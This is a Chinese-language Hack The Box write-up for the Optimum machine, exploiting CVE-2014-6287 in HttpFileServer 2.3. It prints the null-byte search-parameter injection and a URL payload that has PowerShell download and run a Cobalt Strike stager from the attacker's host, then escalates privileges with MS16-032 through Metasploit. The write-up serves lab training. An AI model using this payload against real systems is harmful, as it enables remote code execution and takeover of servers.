Hack The Box - Optimum HttpFileServer(CVE-2014-6287)

信息收集:

先启动机器拿IP。做端口扫描,目标只给一个80端口:

nmap -sC -sV -T5 -Pn -p1-65535 10.10.10.8   
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-31 22:31 CST
Stats: 0:02:19 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 49.65% done; ETC: 22:36 (0:02:22 remaining)
Nmap scan report for 10.10.10.8
Host is up (0.23s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
|_http-title: HFS /
|_http-server-header: HFS 2.3
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 252.72 seconds

访问80端口,发现Web页面。

左下角标志性的程序名“ HttpFileServer ”与Nmap为我枚举到的服务组件名一样的。搜一下有无已知漏洞,果然还是有的。

查看一下漏洞利用脚本:

大概利用思路就是以GET方式提交search参数%00{.exec|环境变量程序+参数},就相当于是在exe中执行命令的命令注入RCE漏洞。便尝试构造payload。

http://10.10.10.8/?search=%00{.+exec|cmd.exe+/c+dir.}

什么都没有:

用burpsuite抓包看一眼,确实什么都没有:

难道是我想错了么?该地方没有漏洞么?我尝试Metasploit现成的漏洞利用框架:

但是用不了,确实有session回连,却被不知名原因断开了。

我觉得它是有该漏洞的,只是在目标机器上执行的命令我看不到,无回显也无报错,那到底如何验证这里确实是有漏洞呢?

tcpdump可以监听指定网卡指定协议指定来源IP的流量,kali自带(以前对kali不屑,觉得就集成一堆工具还不知道都是些什么,现在越来越觉得kali香,占用低,运行快,命令行运行便捷,集成一堆工具脚本,命令行一键更新,windows如果开Metasploit线程最大16,而且键盘抓取输入有延迟。Linux则不会。有生之年一定要专门搞台笔记本装kali)

#开启监听流量 : tcpdump -i tun0 icmp and src 10.10.10.8 

确实是抓到了,验证了该漏洞确实存在,只是无法回显。那么我可以通过将命令输出到指定文件中,再通过访问文件的方式获取回显命令。

补一下漏洞原理:

HTTPFileServer是一款专为个人用户所设计的HTTP文件服务器。Rejetto网站提供的HTTPFileServer 2.3b及之前的版本中的parserLib.pas文件中的findMacroMarker函数中存在安全漏洞,该漏洞源于parserLib.pas文件没有正确处理空字节。远程攻击者可通过搜索操作中的%00序列利用该漏洞执行任意程序。

该服务是基于与命令行交互搜索用户想要的指定文件功能的服务组件,因为用户没有可用于登录的账号口令,所以无权搜索返回默认页面即我们打开看到的页面。

又因为%00截断机制,该组件从URL中读取到%00便认为已经读取完用户提交的参数,当用户传递" ?search=%00+payload "致使后端findMacroMarker()函数认为" ?search= "为空而忽略掉%00后的恶意payload,从而导致payload被命令行意外的执行。HTTPFileServer则会根据findMacroMarker()结果返回参数为空的" No items match your search query "默认页面(所以该漏洞本就无回显),

如果search的参数不为空的话会因为身份校验失败从而导致%00后的payload都被一起忽略。所以**search的参数必须为空,只要用户输入参数,就会检测用户当前的cookie、token、或是登录状态导致验证失败权限不够从而拒绝用户的请求致使漏洞利用失败。

那思路就来了呀。本地起个CS服务器。

 

http://10.10.10.8/?search=%00{.+exec|powershell.exe%20-nop%20-w%20hidden%20-c%20%22IEX%20((new-object%20net.webclient).downloadstring(%27http://10.10.16.6:80/payload%27))%22.}

将CS生成的payload放入burpsuite指定参数地方,burpsuite发包。

这不就回来了嘛,有趣的是执行了四次,之前监听流量发送一下ping我4次,windows默认就是ping 4次我便没多想,没想到这一下回连四次,目标机器已经载入内存启动进程间歇性回连,关都关不掉。

用户flag就在当前shell目录。 

对于单个目标来说,CS显得有点鸡肋不好用了,主要我刚把cs搭进kali虚拟机中,还没集成众多cs脚本,建立个监听器把会话传给Metasploit。

Metasploit启动:

获取目标信息,windows 2012 R2 服务器操作系统。以及补丁信息(太长不列了)

拿到KB补丁信息去到辅助页去比对,可提权利用的漏洞多了去了。

https://i.hacking8.com/tiquan

有本地溢出漏洞MS16-032。Metasploit集成该漏洞exp,黄色警告是在用64位powershell执行32位payload的警告,之前用powershell从web端上线的CS。目标上默认是64位的powershell,不过无所谓的,windows向下兼容,64位可以运行32位程序的。警告归警告,又不是报错。

root flag到手。


请使用浏览器的分享功能分享到微信等